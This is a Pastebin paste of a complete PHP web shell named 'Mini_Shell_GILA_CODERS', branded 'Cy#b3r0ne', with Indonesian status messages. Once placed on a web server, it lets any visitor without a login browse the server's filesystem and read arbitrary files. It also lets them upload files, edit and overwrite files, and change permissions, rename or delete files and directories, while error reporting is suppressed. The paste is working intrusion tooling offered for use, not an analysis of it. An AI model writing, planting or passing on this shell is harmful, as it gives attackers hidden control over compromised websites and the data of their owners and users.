Advertisement
domath69

Mini_Shell_GILA_CODERS

May 29th, 2018
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.25 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="https://fonts.googleapis.com/css?family=celand" rel="stylesheet" type="text/css">
  14. <title>Cy#b3r0ne</title>
  15. <style>
  16. body{
  17. font-family: "Iceland";
  18. background-color: black;
  19. color:white;
  20. }
  21. #content tr:hover{
  22. background-color: white;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: Cyan;
  27. color: white;
  28. }
  29. table{
  30. border: 1px black;
  31. }
  32. input,select,textarea{
  33. border: 1px #000000 solid;
  34. -moz-border-radius: 5px;
  35. -webkit-border-radius:5px;
  36. border-radius:5px;
  37. }
  38. </style>
  39. </head>
  40. <body>
  41. <h1><center><font color="aqua">Cy#b3r0ne</font></center></h1>
  42. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  43. <tr><td>';
  44. echo '<font color="white">Path :</font> ';
  45. if(isset($_GET['path'])){
  46. $path = $_GET['path'];
  47. }else{
  48. $path = getcwd();
  49. }
  50. $path = str_replace('\\','/',$path);
  51. $paths = explode('/',$path);
  52.  
  53. foreach($paths as $id=>$pat){
  54. if($pat == '' && $id == 0){
  55. $a = true;
  56. echo '<a href="?path=/">/</a>';
  57. continue;
  58. }
  59. if($pat == '') continue;
  60. echo '<a href="?path=';
  61. for($i=0;$i<=$id;$i++){
  62. echo "$paths[$i]";
  63. if($i != $id) echo "/";
  64. }
  65. echo '">'.$pat.'</a>/';
  66. }
  67. echo '</td></tr><tr><td>';
  68. if(isset($_FILES['file'])){
  69. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  70. echo '<font color="lime">Upload Berhasil</font><br />';
  71. }else{
  72. echo '<font color="red">Upload Gagal</font><br/>';
  73. }
  74. }
  75. echo '<form enctype="multipart/form-data" method="POST">
  76. <font color="white">File Upload :</font> <input type="file" name="file" />
  77. <input type="submit" value="upload" />
  78. </form>
  79. </td></tr>';
  80. if(isset($_GET['filesrc'])){
  81. echo "<tr><td>Current File : ";
  82. echo $_GET['filesrc'];
  83. echo '</tr></td></table><br />';
  84. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  85. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  86. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  87. if($_POST['opt'] == 'chmod'){
  88. if(isset($_POST['perm'])){
  89. if(chmod($_POST['path'],$_POST['perm'])){
  90. echo '<font color="lime">Change Permission Berhasil</font><br/>';
  91. }else{
  92. echo '<font color="red">Change Permission Gagal</font><br />';
  93. }
  94. }
  95. echo '<form method="POST">
  96. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  97. <input type="hidden" name="path" value="'.$_POST['path'].'">
  98. <input type="hidden" name="opt" value="chmod">
  99. <input type="submit" value="Go" />
  100. </form>';
  101. }elseif($_POST['opt'] == 'rename'){
  102. if(isset($_POST['newname'])){
  103. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  104. echo '<font color="lime">Ganti Nama Berhasil</font><br/>';
  105. }else{
  106. echo '<font color="red">Ganti Nama Gagal</font><br />';
  107. }
  108. $_POST['name'] = $_POST['newname'];
  109. }
  110. echo '<form method="POST">
  111. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  112. <input type="hidden" name="path" value="'.$_POST['path'].'">
  113. <input type="hidden" name="opt" value="rename">
  114. <input type="submit" value="Go" />
  115. </form>';
  116. }elseif($_POST['opt'] == 'edit'){
  117. if(isset($_POST['src'])){
  118. $fp = fopen($_POST['path'],'w');
  119. if(fwrite($fp,$_POST['src'])){
  120. echo '<font color="lime">Berhasil Edit File</font><br/>';
  121. }else{
  122. echo '<font color="red">Gagal Edit File</font><br/>';
  123. }
  124. fclose($fp);
  125. }
  126. echo '<form method="POST">
  127. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  128. <input type="hidden" name="path" value="'.$_POST['path'].'">
  129. <input type="hidden" name="opt" value="edit">
  130. <input type="submit" value="Save" />
  131. </form>';
  132. }
  133. echo '</center>';
  134. }else{
  135. echo '</table><br/><center>';
  136. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  137. if($_POST['type'] == 'dir'){
  138. if(rmdir($_POST['path'])){
  139. echo '<font color="lime">Directory Terhapus</font><br/>';
  140. }else{
  141. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  142. }
  143. }elseif($_POST['type'] == 'file'){
  144. if(unlink($_POST['path'])){
  145. echo '<font color="lime">File Terhapus</font><br/>';
  146. }else{
  147. echo '<font color="red">File Gagal Dihapus</font><br/>';
  148. }
  149. }
  150. }
  151. echo '</center>';
  152. $scandir = scandir($path);
  153. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  154. <tr class="first">
  155. <td><center>Name</peller></center></td>
  156. <td><center>Size</peller></center></td>
  157. <td><center>Permission</peller></center></td>
  158. <td><center>Modify</peller></center></td>
  159. </tr>';
  160.  
  161. foreach($scandir as $dir){
  162. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  163. echo '<tr>
  164. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  165. <td><center>--</center></td>
  166. <td><center>';
  167. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  168. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  169. echo perms($path.'/'.$dir);
  170. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  171.  
  172. echo '</center></td>
  173. <td><center><form method="POST" action="?option&path='.$path.'">
  174. <select name="opt">
  175. <option value="">Select</option>
  176. <option value="delete">Delete</option>
  177. <option value="chmod">Chmod</option>
  178. <option value="rename">Rename</option>
  179. </select>
  180. <input type="hidden" name="type" value="dir">
  181. <input type="hidden" name="name" value="'.$dir.'">
  182. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  183. <input type="submit" value=">">
  184. </form></center></td>
  185. </tr>';
  186. }
  187. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  188. foreach($scandir as $file){
  189. if(!is_file($path.'/'.$file)) continue;
  190. $size = filesize($path.'/'.$file)/1024;
  191. $size = round($size,3);
  192. if($size >= 1024){
  193. $size = round($size/1024,2).' MB';
  194. }else{
  195. $size = $size.' KB';
  196. }
  197.  
  198. echo '<tr>
  199. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  200. <td><center>'.$size.'</center></td>
  201. <td><center>';
  202. if(is_writable($path.'/'.$file)) echo '<font color="lime">';
  203. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  204. echo perms($path.'/'.$file);
  205. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  206. echo '</center></td>
  207. <td><center><form method="POST" action="?option&path='.$path.'">
  208. <select name="opt">
  209. <option value="">Select</option>
  210. <option value="delete">Delete</option>
  211. <option value="chmod">Chmod</option>
  212. <option value="rename">Rename</option>
  213. <option value="edit">Edit</option>
  214. </select>
  215. <input type="hidden" name="type" value="file">
  216. <input type="hidden" name="name" value="'.$file.'">
  217. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  218. <input type="submit" value=">">
  219. </form></center></td>
  220. </tr>';
  221. }
  222. echo '</table>
  223. </div>';
  224. }
  225. echo '<center><br/>Cy#b3r0ne - Copyright 2k18</center>
  226. </body>
  227. </html>';
  228. function perms($file){
  229. $perms = fileperms($file);
  230.  
  231. if (($perms & 0xC000) == 0xC000) {
  232. // Socket
  233. $info = 's';
  234. } elseif (($perms & 0xA000) == 0xA000) {
  235. // Symbolic Link
  236. $info = 'l';
  237. } elseif (($perms & 0x8000) == 0x8000) {
  238. // Regular
  239. $info = '-';
  240. } elseif (($perms & 0x6000) == 0x6000) {
  241. // Block special
  242. $info = 'b';
  243. } elseif (($perms & 0x4000) == 0x4000) {
  244. // Directory
  245. $info = 'd';
  246. } elseif (($perms & 0x2000) == 0x2000) {
  247. // Character special
  248. $info = 'c';
  249. } elseif (($perms & 0x1000) == 0x1000) {
  250. // FIFO pipe
  251. $info = 'p';
  252. } else {
  253. // Unknown
  254. $info = 'u';
  255. }
  256.  
  257. // Owner
  258. $info .= (($perms & 0x0100) ? 'r' : '-');
  259. $info .= (($perms & 0x0080) ? 'w' : '-');
  260. $info .= (($perms & 0x0040) ?
  261. (($perms & 0x0800) ? 's' : 'x' ) :
  262. (($perms & 0x0800) ? 'S' : '-'));
  263.  
  264. // Group
  265. $info .= (($perms & 0x0020) ? 'r' : '-');
  266. $info .= (($perms & 0x0010) ? 'w' : '-');
  267. $info .= (($perms & 0x0008) ?
  268. (($perms & 0x0400) ? 's' : 'x' ) :
  269. (($perms & 0x0400) ? 'S' : '-'));
  270.  
  271. // World
  272. $info .= (($perms & 0x0004) ? 'r' : '-');
  273. $info .= (($perms & 0x0002) ? 'w' : '-');
  274. $info .= (($perms & 0x0001) ?
  275. (($perms & 0x0200) ? 't' : 'x' ) :
  276. (($perms & 0x0200) ? 'T' : '-'));
  277.  
  278. return $info;
  279. }
  280. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement